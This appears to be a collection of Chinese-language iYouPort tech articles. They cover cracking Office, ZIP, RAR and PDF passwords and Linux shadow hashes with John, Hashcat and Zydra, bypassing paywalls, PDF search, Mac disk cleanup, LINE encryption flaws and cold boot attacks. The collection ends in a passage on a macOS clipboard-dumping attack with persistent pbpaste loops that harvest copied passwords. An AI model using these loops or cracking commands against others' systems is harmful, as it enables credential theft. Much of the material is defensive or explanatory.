John 将开始破解，时间取决于密码的复杂性，当找到匹配项时，它就会结束。按任意键可以查看当前状态。

破解哈希后，屏幕上会显示一条消息，其中包含文档的密码：由于此案例的密码非常简单，因此只需几秒钟即可破解它。

```
password123 (dummy.docx) 1g 0:00:00:03 DONE
(2019-02-05 15:00) 0.2824g/s 415.8p/s 415.8c/s
415.8C/s lacoste..cooldude Use the "--show" option
to display all of the cracked passwords reliably
Session completed
```

也可以使用**—show** 来显示它，如下所示：

```
~# john --show hash.txt dummy.docx:password123 1
password hash cracked, 0 left
```

下面来看看另一种方法，使用功能强大的工具 Hashcat。被称为世界上最快的密码破解软件。

方法二：使用 Hashcat

可以先显示 Hashcat 的帮助菜单（**—help**）。这将为您提供大量信息，包括使用选项、哈希模式和其他功能。如果您真的想了解 Hashcat，应该深入研究下它。

```
~# hashcat --help
```

基于本案例，输出中只对 MS Office 哈希模式感兴趣。在帮助菜单底部附近可以找到 MS Office 模式选项及其相应编号。

从哈希中您可以知道这是一个 Office 2007 文件，因此找到其编号 ID **9400**。

现在可以使用以下命令设置其余选项。

```
~# hashcat -a 0 -m 9400 --username -o
cracked_pass.txt hash.txt /usr/share/wordlists/
nmap.lst
```

- **-a** 将攻击类型设置为默认模式 **0**。
- **-m** 指定要使用的模式。
- **—username** 忽略哈希文件中的任何用户名。
- 使用 **-o** 将输出文件指定为 cracked.txt。
- 最后一步和方法一相同。

然后，Hashcat 将开始破解。

```
hashcat (v5.1.0) starting... * Device #2: Not a
native Intel OpenCL runtime. Expect massive speed
loss. You can use --force to override, but do not
report related errors. OpenCL Platform #1:
Intel(R) Corporation
======================================== * Device
#1: Intel(R) Core(TM) i5 CPU M 480 @ 2.67GHz,
```

```
934/3736 MB allocatable, 4MCU
```

一段时间后，状态将显示为“已破解”，准备好查看密码。

```
Session..........: hashcat Status...........:
Cracked Hash.Type........: MS Office 2007
Hash.Target......: $office
$*2007*20*128*16*a7c7a4eadc2d90fb22c073c6324...2b6870
Time.Started.....: Tue Feb 5 15:08:00 2019 (4
secs) Time.Estimated...: Tue Feb 5 15:08:04 2019
(0 secs) Guess.Base.......: File (/usr/share/
wordlists/nmap.lst) Guess.Queue......: 1/1
(100.00%) Speed.#1.........: 610 H/s (8.51ms) @
Accel:512 Loops:128 Thr:1 Vec:4 Recovered........:
1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 2048/5084 (40.28%)
Rejected.........: 0/2048 (0.00%)
Restore.Point....: 0/5084 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1
Iteration:49920-50000 Candidates.#1....: #!
comment: ***********************IMPORTANT NMAP
LICENSE TERMS************************ -」 Princess
Started: Tue Feb 5 15:07:50 2019 Stopped: Tue Feb
5 15:08:05 2019
```

只需 **cat** 指定输出文件，它将显示哈希，并在末尾附加明文密码。

```
~# cat cracked_pass.txt $office
$*2007*20*128*16*a7c7a4eadc2d90fb22c073c6324b6b49*abc5f8
```

成功！

以上是使用 office2john 从受密码保护的 Microsoft Office 文件中提取哈希后破解出密码的两种方法。

如何防止被破解

对于任何形式的密码破解都一样，最好的防御技术是使用相对安全的密码实践。这意味着使用更长且不容易猜到的唯一密码。结合使用大小写字母，数字和符号。

更好是随机生成的长密码，几乎不可能破解它们。

关于此特定攻击，由于 office2john 旨在在早期版本的Office上工作，因此使用 Microsoft Office 2016 或 2019 或更高版本的文档可能无效。

但是，如您在上面看到的，Office 2016可能会在用户不知情的情况下吐出2013的文档，因此这并不意味着无法破解“新”文件。

另外，仍然有大量较旧的 Microsoft Office 文档随处可见，并且一些组织继续使用这些较旧的版本，从而使该攻击直到今天仍然非常流行。

最后

现在您知道了，受密码保护的 Microsoft Office 文件的安全性远不如人意。

这些类型的文件今天仍然很常用，因此，如果您自己或朋友的文件忘了密码，请放心，有一种方法可以将其破解。〇

原文

如何破解受密码保护的ZIP、PDF等文件 - iyouport

技术-攻击防御和反抗

【2020年11月13日存档】使用一个小工具，以做到这点

大家都知道不要将敏感信息存储在未加密的文件中对吧？PDF和ZIP文件往往可以包含一个信息宝库，如网络图、IP地址和登录凭证等。有时，即使是某些已加密的文件也难以避免攻击。这就是 Zydra 的用武之地 —— 一个用于破解RAR文件、ZIP文件、PDF文件和 Linux 影子文件的工具。

这些文件是如何加密的？

「图」

根据所使用的程序及其版本，这些类型的文件可以使用各种加密算法进行保护。

例如，Linux命令行zip实用程序使用旧的 PKZIP 算法，这种算法不安全且容易被破解。其他程序，如 WinZip 和 7-Zip，则使用强大的AES-256加密。RAR协议的早期版本使用专有的加密算法，而新版本则使用AES。WinRAR 和 PeaZip 作为可以处理RAR文件的流行选择，也使用AES标准。

如果您使用的是 Linux，那么在 LibreOffice 中通过常规word文档来创建PDF很容易，甚至还有一个选项可以对新创建的文件进行密码保护。旧版本的 LibreOffice 使用 Blowfish 算法来加密文件，但3.5及以上版本使用 AES。其他创建PDF文件的方法包括 Microsoft Office 和 Adobe Acrobat—Office 2007＋版本和 Acrobat 7＋版本都支持AES加密。

Linux 影子文件本身是不加密的，但其中包含的密码是加密的。这些密码的加密算法根据系统的不同而不同，但 MD5、SHA-512、

SHA-256、Blowfish和DES都是常用的。

下载并设置 Zydra

「图」

首先需要从 GitHub 下载 Zydra —— 使用wget实用工具直接从命令行获取Python文件：

```
~$ wget https://raw.githubusercontent.com/hamedA2/Zydra/master/Zydra.py --2020-07-15 18:41:25--https://raw.githubusercontent.com/hamedA2/Zydra/master/Zydra.py Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.0.133, 151.101.64.133, 151.101.128.133, ... Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.0.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 30544 (30K) [text/plain] Saving to: ‘Zydra.py’ Zydra.py 100%[=====================」] 29.83K --.-KB/s in 0.04s 2020-07-15 18:41:26 (764 KB/s) - ‘Zydra.py’ saved [30544/30544]
```

接下来，此步骤是完全可选的，重命名脚本使其完全小写。如果您像我一样惰，只需按以下键即可：

```
~$ mv Zydra.py zydra.py
```

还需要安装一些依赖项，以便 Zydra 正常工作 —— 它使用Python 3，所以我们可以使用 **pip3** 来安装额外的模块。

```
~$ pip3 install rarfile pyfiglet py-term Collecting rarfile Downloading rarfile-3.1.tar.gz (121 kB) |                                | 121 kB 1.0 MB/s Requirement already satisfied: pyfiglet in /usr/lib/python3/dist-packages (0.8.post0) Collecting py-term Downloading py-term-0.6.tar.gz (5.4 kB) Building wheels for collected packages: rarfile, py-term Building wheel for rarfile (setup.py) ... done Created wheel for rarfile:
```

```
filename=rarfile-3.1-py3-none-any.whl size=24908
sha256=6f16c1h4b06a3f7a7d8v4baa34e9a6d58a949b5a78c2b23bb
Stored in directory: /home/kali/.cache/pip/
wheels/21/50/
d0/8da8b10f46113f46c6f0247c5f59401293fb5b15aa7888a4ce
Building wheel for py-term (setup.py) ... done
Created wheel for py-term: filename=py_term-0.6-
py3-none-any.whl size=6268
sha256=ab75424c7aa6ef71001a24c3e3a558ad3748ee0d6a3c0153c
Stored in directory: /home/kali/.cache/pip/
wheels/76/
cc/73/8ac13320a2a98600008575b936742bbb6025d21d674ca6e2fc
Successfully built rarfile py-term Installing
collected packages: rarfile, py-term Successfully
installed py-term-0.6 rarfile-3.1
```

现在应该准备使用 python3 命令运行 Zydra 了：

```
~$ python3 zydra.py
@@@
```

```
error: Choose a file, Use --help for more info
```

您会看到一个漂亮的小横幅，一个使用示例，以及一些可用选项的信息。它还报了一个错说明它需要一个文件，并告诉我们使用 -help 获取更多信息；这将给我们更多的细节和选项。

```
~$ python3 zydra.py --help
@@@
```

用一个最小的列表来演示，这个来自 SecLists GitHub 库的列表就可以了。

```
~$ wget https://raw.githubusercontent.com/
danielmiessler/SecLists/master/Passwords/
darkweb2017-top10.txt --2020-07-15 19:08:05--
https://raw.githubusercontent.com/danielmiessler/
SecLists/master/Passwords/darkweb2017-top10.txt
Resolving raw.githubusercontent.com
(raw.githubusercontent.com)... 151.101.0.133,
151.101.64.133, 151.101.128.133, ... Connecting to
raw.githubusercontent.com
(raw.githubusercontent.com)|151.101.0.133|:443...
connected. HTTP request sent, awaiting response...
200 OK Length: 81 [text/plain] Saving to:
‘darkweb2017-top10.txt’ darkweb2017-top10.tx
100%[=====================」] 81 --.-KB/s in 0s
2020-07-15 19:08:05 (3.10 MB/s) - ‘darkweb2017-
top10.txt’ saved [81/81]
```

就是这样，已经准备好破解了。

选项1：破解RAR文件

「图」

Zydra 可以以两种模式进行操作：字典攻击和暴力破解。在字典模式下，只需要 **-d** 提供词语列表即可。我们还需要使用 **-f** 指定要尝试破解的文件：

```
~$ python3 zydra.py -f nb-rar.rar -d darkweb2017-
top10.txt
@@@
```

```
password cracking for /root/nb/nb-rar.rar / [*]
Count of possible passwords: 10 Progress :
[#################################### ] 80.000 %
[+] Password Found: password1 End time ==」 Wed
Jul 15 19:08:41 2020 Execution time ==」
0:00:25.876620
```

一旦开始，它就会给我们提供可能的密码数量（基本上就是词语列表中有多少行）和一个进度条。没过多久，它就能找到密码，并告诉我们它是什么。

对于暴力模式，需要多设置几个选项。我们仍然指定要破解的文件，但现在可以使用 **-b** 来设置用于暴力破解的字符类型。还可以分别使用 **-m** 和 **-x** 来设置密码的最小和最大长度。

```
~$ python3 zydra.py -f nb-rar.rar -b
letters,digits -m 1 -x 10
@@@
```

「图」

破解ZIP文件的工作方式基本相同 —— 从现在开始只使用字典模式，因为它的效率更高。只需指定要破解的文件和要使用的词表。

```
~$ python3 zydra.py -f nb-zip.zip -d darkweb2017-
top10.txt
@@@
```

```
libqpdf28 qpdf 0 upgraded, 2 newly installed, 0 to
remove and 568 not upgraded. Need to get 1,015 kB
of archives. After this operation, 2,690 kB of
additional disk space will be used. Do you want to
continue? [Y/n] y Get:1 http://kali.download/kali
kali-rolling/main amd64 libqpdf28 amd64 10.0.1-2
[479 kB] Get:2 http://kali.download/kali kali-
rolling/main amd64 qpdf amd64 10.0.1-2 [537 kB]
Fetched 1,015 kB in 1s (830 kB/s) Selecting
previously unselected package libqpdf28:amd64.
(Reading database ... 377060 files and directories
currently installed.) Preparing to unpack .../
libqpdf28_10.0.1-2_amd64.deb ... Unpacking
libqpdf28:amd64 (10.0.1-2) ... Selecting
previously unselected package qpdf. Preparing to
unpack .../qpdf_10.0.1-2_amd64.deb ... Unpacking
qpdf (10.0.1-2) ... Setting up libqpdf28:amd64
(10.0.1-2) ... Setting up qpdf (10.0.1-2) ...
Processing triggers for libc-bin (2.30-4) ...
Processing triggers for man-db (2.9.1-1) ...
Processing triggers for kali-menu (2020.2.2) ...
```

现在，就像之前一样，我们可以通过提供要使用的文件和词表来破解PDF：

```
~$ python3 zydra.py -f nb-sample.pdf -d
darkweb2017-top10.txt
@@@
```

```
file is decrypted_nb-sample.pdf End time ==」 Wed
Jul 15 19:10:55 2020 Execution time ==」
0:00:25.118694
```

它再次找到了密码，但这次有一个额外的对话。这只是告诉我们这个文件是原始文件的解密版本，可以用 **file** 命令来验证。

```
~$ file decrypted_nb-sample.pdf decrypted_nb-
sample.pdf: PDF document, version 1.4
```

选项4：破解影子文件

「图」

Zydra 会自动尝试破解 Linux 影子文件中发现的任何用户的密码哈希。虽然它并不总是成功的，但这可以是一个很好的方法，首先尝试一下，因为它很简单便捷。

我们需要做的就是用 **-f** 指定文件，用 **-d** 指定词表。

```
~$ python3 zydra.py -f nb-shadow -d darkweb2017-
top10.txt
@@@
```

0:00:22.062705

可以看到它找到了几个用户，但由于我们只使用了一个简单的词表，所以它未能找到其中任何一个用户的密码。和其他破解工具一样，使用更广泛的词表会增加你成功的机会，但也会花费更多时间。

最后

「图」

本教程探索了一个名为 Zydra 的工具，以及如何将其用于破解受密码保护的RAR文件，ZIP文件，PDF文件和 Linux 影子文件。尽管本演示毫不费力地破解了它们，但是使用强密码将大大增加破解的时间和精力。〇

Crack Password-Protected ZIP Files, PDFs & More with Zydra

原文

如何穿越付费墙：12个省钱大法 - iyouport

技术-攻击防御和反抗

【2020年3月24日】互联网知识付费是邪恶的不平等的促进剂

付费墙是有多讨厌，如今已经尽人皆知，《地狱般的付费墙：免费、开放和民主化的 Web 时代已成往事了吗？》。

但是没办法，内容提供者需要吃饭，需要活下去才能继续为读者服务 —— 像 IYP 这样自掏腰包的穷光蛋已经快撑不住了。

但是IYP坚持不搞付费墙，因为我们自己就经常被其他资源的付费墙惹恼，己所不欲。

尤其是那些大牌企业媒体搞的付费墙。它们原本就有着流油的资金背景和广告收入，它们还想让你掏腰包，对于老百姓来说，这不公平。

绕过付费墙是可能的吗？是的。

某些时候，甚至一个简单的浏览器技巧就足以帮您绕过付费墙以阅读文章、观看视频等。

付费墙有两种，您最有可能解锁的是“软”的那种。软付费墙是一种让您能看到一小部分内容的拦截方法，而硬的付费墙则是，如果不付钱，你一个字都看不到。

请注意：我们不建议您使用付费墙拦截器，因为它们会使一家本来有潜在收入来源的公司饿死。与广告拦截器类似，您应该明智地使用它们，并考虑它们可能会对您喜欢的网站产生的影响。

12种解锁付费墙的方法

「图」

您可以尝试多种方法来突破收费壁垒。有些方法对于有些墙来说注定无法使用，但肯定有一个或两个选项适用于您尝试访问的网站。

1、如果付费墙的Firefox扩展

使用此 Firefox 扩展程序绕过付费专区。它适用于彭博社、丹佛邮报、巴尔的摩太阳报、先驱报以及其他许多网站。

只需使用该页面顶部的下载链接即可获取文件，然后将其拖到 Firefox 窗口中进行安装。

从那里开始，您所要做的就是访问该站点以查看该扩展是否删除了付费墙。您也可以进入设置以在任何受支持的站点上禁用它（允许特定的付费墙）。

2、寻找其他地方的文章

复制文章标题，并将其粘贴到搜索引擎中以查找被转载的内容。

这是绕过付费墙的最简单方法之一，因为很多时候，基于订阅的新闻机构的热门文章都会被完全免费复制和发布到其他地方。

像这类有多个空格的搜索，要记住的重要一点是：将所有单词括在引号中，就像上面图中那样。这将限制并排除不相关的搜索结果，并保证您找到的内容与您所关注的文章相关。

3、试用 Unpaywall Chrome扩展程序

Unpaywall 是 Chrome 浏览器的扩展程序，可解除对学术文章的付费墙的限制。它会在互联网上搜索该产品的免费PDF版本，然后为您提供查找免费版本的链接。

4、重置您的浏览器 Cookie

删除您的浏览器 cookie 或使用 “隐身模式” 绕过付费墙。

如果该网站允许您查看少量文章，然后使用付费墙阻止访问，那么显然，他们是通过存储 cookie 来跟踪您浏览了多少页面的。所以，对症下药。

删除 Cookie 或以隐身模式打开网站以绕过 Cookie，就好像您是新访客一样出现在该网站上，从而重置了您可以打开的免费文章的数量。

5、使用 Outline.com

在 Outline 中输入目标页面的 URL。Outline 是用于避免干扰的，但是由于其工作原理，通常有助于避免支付墙。

6、手动删除付费墙

如果可能的话，请删除付费墙弹出窗口。

一些网站使用超级基本的付费墙系统，其中唯一阻止您查看页面的是弹出窗口。虽然没有退出按钮，但您可以查看页面源码并将其手动删除，以显示其背后的内容。

例如，在 Chrome 中，右键单击付费墙消息，然后选择 “Inspect”，使用Chrome工具左上方的选项来查找付费专区的源代码。

找到它后，右键单击该数据，然后选择 “**Delete element**”。您可能需要删除多个东西，直到找到正确的方式来摆脱整个支付壁垒。

如果付费墙使用 JavaScript，那么可能会起作用的类似选项是使用比如 **Quick JavaScript Switcher for Chrome** 的工具阻止脚本。

如果您不使用Chrome ，或这些方法不起作用，请尝试使用可以删除脚本的Web代理，例如 **HMA**。

7、中断页面完全加载

在付费墙弹出之前快速暂停页面。如果运气不好无法删除或阻止 JavaScript，则可以中断页面的完全加载，以阻止显示付费专区弹出窗口。

但是你必须足够快；如果页面加载速度太快或付费墙在文章出现之前就启动了，那么该功能就无法使用。要尝试此操作，只需刷新页面并在加载内容后立即按 Esc 键几次。

8、挖掘存档站点

诸如 Wayback Machine 和 Archive.is 之类的存档站点会保存网页以用于存档。您可以利用这些方法查找由于付费专区封锁而无法访问的文章。

9、使用“稍后阅读”工具

将文章发送到书签或类似 Pocket 的稍后阅读服务，以绕过文章限制。

但只有在您访问的前几次拥有免费访问该网站的权限时，此方法才有效。

其原理与上面的 cookie 方法类似，因为该页面的内容将发送到其他地方并且不会加载到您的计算机上。

10、将页面转换为**PDF**

有很多把页面转换为PDF的转换器，其中一个就是 Webpagetopdf.com。

只需将付费墙页面的URL放入文本框中，进行转换，然后下载PDF，以使您可以脱机访问该文章，并且始终可以免费访问。

11、查找登录详细信息

如果您要处理的是 “硬” 付款墙，并且需要用户帐户，请尝试使用共享登录服务。

诸如 **BugMeNot** 之类的网站可能具有登录详细信息，您可以用来登录该网站，并假装是真实用户来绕过付费墙。

12、注册免费试用

如果可以申请试用，以便您可以绕开付费墙，那么就先使用它，然后在付费前取消试用。这绝对是一件非常容易的事。

但是，如果您这样做，请记住务必取消试用，否则必须付费！您可以使用诸如 “**Privacy**” 之类的虚拟支付服务来确保您用于支付的卡仅涵盖试用，不会向您收取该服务的费用。

最后

「图」

就是这样！

以上方法会针对不同的墙有效，而不是所有方法对每一面墙都有效。所以，本文是一个手册，您可以在不同情况下尝试其中不同的方法。

⚠ 请注意：不要太狠！有些内容提供者 —— 尤其是独立的替代媒体，就如IYP这样 —— 他们活得非常艰难，他们为了能和撒谎的企业媒体战斗，几乎付出了一切。他们需要你的支持才能坚持下去。所以，绕过付费墙的方法请针对那些本来就很肥的企业媒体，他们不缺这点钱。〇

原文

如何跨多个PDF文件查找文本内容？ - iYouPort

技术-攻击防御和反抗

提高生产力的小技巧

「图」

「图」

PDF是绝大多数人共享文档最喜欢的格式。主要是因为它保留了其中所有的文本格式和图形。但PDF格式的唯一缺点是，您无法像使用其他文件一样轻松地在所有这些文件中搜索文本。

但是，的确有几种方法可以让您执行PDF搜索操作，以便您可以在计算机上一次在多个PDF文件中搜索特定关键字。

以下指南教您如何做到这一点。

如何使用 Acrobat Reader 搜索多个PDF文件

搜索PDF或多个PDF文件的最流行的方法是使用计算机上的 Acrobat Reader 软件。以下是执行方式。#在计算机上打开 Acrobat Reader。

- 单击编辑菜单，然后选择高级搜索。
- 选择“所有PDF文档”，然后选择您的PDF文件夹。
- 在输入框中输入搜索词。
- 点击搜索按钮。
- 在屏幕上的提示中点击允许。

1. 在计算机上下载并安装该软件。

- 启动软件，在顶部的搜索框中输入搜索词，单击浏览按钮以选择您的PDF文件夹，最后点击搜索。

「图」

「图」

它将在所选目录中的所有PDF文件中搜索关键字。

使用 Foxit Reader 执行PDF搜索

Foxit Reader 还具有高级搜索功能，您可以使用它在多个PDF文件中查找所需内容。

获取计算机上安装的软件，然后启动它。

单击右上角菜单中搜索框旁边的搜索图标。它会打开高级搜索选项。

「图」

「图」

在以下屏幕上，从第一个下拉菜单中选择您的PDF文件夹，在搜索框中输入搜索词，如果要应用其他过滤器，请选中该标记，最后单击该“搜索”按钮。

「图」

「图」

您的搜索结果现在应该在屏幕上。

如何使用 UltraFinder 搜索PDF文件

UltraFinder 是Windows的高级搜索工具，也可用于在PDF文件中搜索文本。

在 Windows 计算机上安装并启动该工具。

如下设置选项，以便搜索PDF文件的内容。然后点击绿色的按钮开始搜索。

Find matches by—文件内容

Find what—在这里输入您的搜索词

Find where—添加PDF所在的目录

In files/types—*.pdf

「图」

「图」

它将列出在其中找到您的搜索词的所有PDF文件。

就是这样。很简单吧？希望对您有帮助。〇

原文

如何通过查找和删除 Mac 上不需要的大文件来释放存储空间 - iYouPort

技术-攻击防御和反抗

释放整个硬盘驱动器上的磁盘空间可能很困难，尤其是当它充满了小文件时。但是，有一些优秀的 macOS 工具可以让你找到占用最多空间的文件并删除你不需要的文件。准备好清理磁盘了吗？

检查最可能藏污纳垢的地方

「图」

「图」

您的大多数文件只会在几个文件夹中。下载就是其中之一，很多人填满了下载部分却忘了清空它，但是有些文件会隐藏在你想不到的地方。一个可以占用大量空间的地方是 iTunes 保存 iPhone 或 iPad 备份的文件夹。该文件夹位于：〜/ Library / Application Support / MobileSync / Backup

根据设备的大小和备份频率，这些备份文件可能占用数十 GB。

如果你有一段时间没有清空它，macOS 中的 Trash 文件夹也会占用相当多的空间，因此值得一看，看看你是否还在存储一些大文件。

手动查找大文件

Finder 具有使用 Spotlight 搜索查找大型文件的内置方式。单击要搜索的驱动器，打开搜索窗口，然后单击右上角“保存”按钮旁边的 + 按钮。然后，您可以使用下拉菜单选择“文件大小”和“大于”选项。输入您要搜索的最小文件大小（超过 100MB 左右就可以了），您将看到超过该大小的所有文件的列表。然后，您可以选择要删除的项目。

但是，此方法有两个缺点：

- Finder 仅显示超过特定大小的单个文件，而不是显示较小文件

的文件夹，例如下载或程序安装；
- 选择要删除的特定文件很困难，因为没有给出文件存储位置或它们可能有多重要的适当上下文；

更好的界面是内置于 macOS 中的 Storage Management 应用程序，它显示按大小排序的所有文件，并显示最后访问它们的日期：

「图」

「图」

Storage Management 还有一些其他有用的工具。例如，您可以使用它来配置 iCloud 存储并将 Mac 设置为自动清空废纸篓。

使用第三方工具进行更好的控制

磁盘清单 X 是一个出色的免费工具，用于可视化磁盘空间。您可以看到哪些部分占据空间最大。单击任意方块以查看关联的文件名。侧边栏上还有一个树状视图，可以让您查看每个文件夹占用的空间大小，您可以深入查找可能要删除的文件。可以右键单击每个文件以将其移至废纸篓或查看有关它的更多信息。

但是，在使用磁盘清单 X 时，请记住一件重要的事。它确实显示系统文件，并允许您删除它们，因此除非您知道自己在做什么，否则您需要谨慎操作。

「图」

「图」

自动清洁工具

「图」

「图」

虽然这些手动工具对于查找大型文件很有用，但它们无法清理可能占用大量空间的系统垃圾和临时缓存，而且通常隐藏在您不想碰的系统文件夹中。这就是像 Clean My Mac 这样的自动化工具派上用场的地方。当您启动应用程序时，它会对驱动器执行扫描，查看您可能在磁盘清单中遗漏的垃圾邮件和缓存文件夹。然后会自动清除它们。

「图」

「图」

Clean My Mac 还有一些其他有用的工具，例如卸载程序，用于清理旧应用程序，维护脚本和用于安全删除文件的碎纸机。它还有一个标签，可以让您查看大文件，虽然在列表视图中，而不是磁盘库存或 DaisyDisk 的分区界面。

原文

对 LINE 中端到端加密的分析 - iYouPort

技术-攻击防御和反抗

LINE 是在亚洲流行的即时通信应用程序，每月活跃用户超过 2 亿。该公司于 2011 年由韩国 Naver 公司的日本子公司 LINE Corporation 推出。

「图」

「图」

从那时起，它在包括日本、泰国和台湾在内的几个亚洲市场经历了快速增长，2016 年拥有超过 2 亿用户。

随着这一增长，LINE 经历了来自政府要求披露用户数据和内容法规的压力，因为它已扩展到新兴市场。 去年，LINE 推出了许多新的安全功能，包括端到端加密。

新墨西哥大学和加拿大公民实验室的研究人员新发表的一篇论文，报告了对 LINE 的端到端加密协议的第一 次独立分析，并揭示了实施中的安全漏洞。

通过分析这些漏洞以及对向 LINE 披露这些漏洞的过程的反思，该论文讨论了研究人员、开发人员和用户之间的沟通和理解方面的差距。这篇题为“Alice and Bob Who the FOCI are they?: Analysis of End-to-End Encryption in the LINE Messaging Application”的论文，由 Antonio M. Espinoza，William J. Tolley 和 Jedidah R. Crandall（新墨西哥大学）和 Andrew Hilts和Masashi Crete-Nishihata（公民实验室）撰写。

在第7届 USENIX 互联网自由和开放通信研讨会（FOCI）上，该论文报告了使用各种威胁模型对 LINE 中的端到端加密功能进行安全审计，资源充足的攻击者也可能会采用这种模型。

端到端加密是一种安全功能，通过加密它们来保护两个用户之间的通信，以便只有他们才能读取消息。从 2015 年开始，许多流行的聊天

应用程序开始采用此功能。

分析 LINE 的端到端加密详细的安全问题，同时也突显了研究人员、开发人员和用户之间的沟通差距，正如新墨西哥大学教授和论文作者 Jedidiah Crandall 所说，调查结果提出了两个主要问题：“一个是设计良好的端到端加密协议应该具有以下特性：如果发送方和接收方都删除了消息，即使他们的私钥和设备受到损害，也无法恢复这些已被删除的消息”。“

LINE 没有这个特性，因此删除 LINE 消息并不能保证该消息应该无法被恢复。” 这意味着即使已删除的邮件也可能被有权访问 LINE 服务器的第三方检索到，从而带来安全威胁。“

另一个首要问题是逆向工程的 LINE 版本有许多与众所周知的加密工程最佳实践不一致的做法，”Crandall 说。

他将这最后一点比作建造一座桥梁：一家公司可能会使用以前从未经过测试的定制混凝土和不适用于桥梁的钢梁。这座桥可能会成立，但中立的工程师无法获得必要的蓝图和规格来进行适当的分析。“

同样，当密码学工程师不遵循最佳实践时，它使中立的加密工程师无法证明其安全性，”他说。 这一挑战提出了一个更大的问题，即供应商、研究人员和最终用户之间在如何查看和评估安全威胁方面存在的差距：供应商必须大规模实施安全性，同时平 衡可用性和资源; 研究人员可能精通安全最佳实践，但通常无法深入了解供应商的决策过程; 并且可能向用户呈现越来越多的安全特征，但是可能无法评估。

特别是对研究人员和供应商而言，似乎缺乏关于所有这些方如何相互作用的研究。正如该论文所说：“尽管有大量关于最终用户理解和安全建议实施的文献， 但几乎没有类似的研究可以检查软件供应商的安全团队如何理解和处理漏洞报告。”

那么，如何解决这些问题呢？ 作者说，该论文的目的是围绕这些差距产生讨论。与此相呼应的是，需要增加和改善各方之间的沟通。“我认为我们需要以社区的形式开展工作，以用户真正关心的方式讨论加密或一般安全问题。”

相关：

Asia Chats: Analyzing Information Controls and Privacy in Asian Messaging Applications

Asia Chats: Investigating Regionally-based Keyword Censorship in LINE

原文

所有没有 T2 芯片的 Mac 都容易受到最近发现的冷启动攻击 - iYouPort

技术-攻击防御和反抗

利用现代计算机固件中发现的漏洞，研究员可以复活冷启动攻击。由于该方法要求能物理接触到目标设备，更容易被盗的笔记本电脑就了这种攻击的理想目标。该漏洞影响多家主流供应商，包括戴尔、联想和苹果。

「图」

「图」

冷启动(Cold Boot)攻击属于一种边信道攻击方法，可以物理接触到计算机的攻击者能够运用这种攻击手段在冷启动或硬盘重启之后，比如计算机没经历正常的关机过程就突然重启时，从计算机的内存(RAM)中获取加密密钥、口令和其他数据。断电后内存中的数据能维持几十秒或数分钟，但通过液氮或压缩空气冷冻，这一数据衰减过程可被攻击者拉长至数小时之久。

冷启动攻击10年前就出现了，计算机制造商通过实现系统重启时重写内存数据的机制来防止这种攻击。

利用现代计算机固件中发现的漏洞，他们可以复活冷启动攻击。由于该方法要求能物理接触到目标设备，更容易被盗的笔记本电脑就了这种攻击的理想目标。

据称，研究人员发现的漏洞影响多家主流供应商，包括戴尔、联想和苹果。F-Secure已向英特尔、苹果和微软等公司报告了其研究结果，但称修复不易。

攻击者可以通过修改设备硬件来禁用重启时重写内存的功能，并将计算机设置成从外部设备启动。然后，攻击者就可以用特别制作的U盘对计算机进行冷启动了。该U盘上的恶意软件可以帮攻击者将预启动内存中的数据转储到一个文件里。

实际操作显然没那么简单，但我们不应忽视可能已经有黑客发现并利用该漏洞的事实。低端黑客自然不会用这种方式去啃硬骨头，但如果是想要大赚一笔的高端黑客呢？比如想要侵入银行或大公司的网络犯罪组织，或者想要窃取情报的网络间谍？

在永久修复推出之前，用户可以将自己的设备配置为不使用时就关机或者休眠，不要采用睡眠选项。对于Windows计算机，可以设置无论设备何时启动都要求输入BitLocker硬盘加密器的PIN码。

「图」

「图」

即便实施了上述方法，冷启动攻击依然有乘隙而入的空间，但至少可以保证内存中没留下有价值的数据。

接到F-Secure的通告后，微软更新了其BitLocker应对措施页面，增加了如何缓解冷启动攻击的说明。苹果称，采用T2芯片的Mac机包含了应能抵御冷启动攻击的安全机制，并建议使用其他代系设备的用户设置固件密码。

专家建议公司企业设立设备丢失相关的事件响应计划。

能够无效化访问凭证的快速响应，可以大幅降低被盗笔记本电脑对攻击者的价值。IT安全及事件响应团队应演练设备被盗场景，确保公司员工在设备丢失或被盗时能及时通知IT部门。为安全事件做好应对准备，总比假设电脑不会被黑客亲身染指要靠谱些。■

原文

攻击者如何从密码管理器中以明文形式盗取密码？ - iyouport

技术-攻击防御和反抗

【2020年6月9日存档】注意防御建议。

KeePassX、1Password 和 LastPass 对键盘记录器、网络钓鱼、和数据库违规很有效，但是，密码管理器依靠操作系统的剪贴板将凭据从密码库安全地移动到Web浏览器。这是个问题。

攻击者可以在几秒钟内转储剪贴板内容以泄露密码。

以下是两种针对密码管理器的剪贴板转储攻击方案，它们都利用了所有 macOS 版本中的 pbpaste 命令。

Pbpaste 将获取剪贴板中找到的所有数据（包括密码）并将其写入标准输出。任何 macOS 用户都可以尝试以下操作：首先将密码复制到剪贴板，然后立即在终端中键入 **pbpaste**。

执行 pbpaste 不需要特殊的特权，并且剪贴板可以写入任何文件，如下所示。这会影响 KeePassX、1Password、LastPass，甚至是苹果自己的内置 iCloud 钥匙串密码管理器。

```
~$ pbpaste 」」/tmp/clipboard.txt
```

在这里看到 null-byte 的视频解说：

选项1：在本地转储剪贴板

「图」

场景：攻击者建立了持久的后门，并希望长时间收集存储在 KeePassX、1Password 或 LastPass 中的密码。

MacOS 在防止键盘记录程序方面已经更好，任何在桌面上进行实时

直播的人都无法取消隐藏或显示密码管理器中存储的凭据。

攻击者可以将剪贴板转储到本地文件中，并偶尔检查其中是否有新的密码。一个具有5秒延迟的无限 while 循环应该可以解决问题。

```
~$ while true; do echo -e "\n$(pbpaste)" 」」/tmp/clipboard.txt &amp;&amp; sleep 5; done
```

while 循环将执行 pbpaste 并暂停（睡眠）五秒钟。循环中的命令将一遍又一遍地重复，重复地转储剪贴板中找到的所有内容。

echo 引入了为每个条目创建换行符 (**\n**) 的功能，以防止数据在同一行上串联。

从其他 Netcat 外壳中，使用 **cat** 或 **tail** 来查看 clipboard.txt 文件的内容。

```
~$ tail -f /tmp/clipboard.txt
```

tail 跟随（**-f**）将更改附加到文件，立即打印在剪贴板中发现的新内容。

通过评估剪贴板内容并将其与文件中的最后一个条目进行比较，可以防止 Clipboard.txt 文件被重复的行所淹没。

```
~$ while true; do if [[ "$(pbpaste)" != "$(tail -n1 /tmp/clipboard.txt)" ]]; then echo -e "\n$(pbpaste)" 」」/tmp/clipboard.txt; fi &amp;&amp; sleep 5;done
```

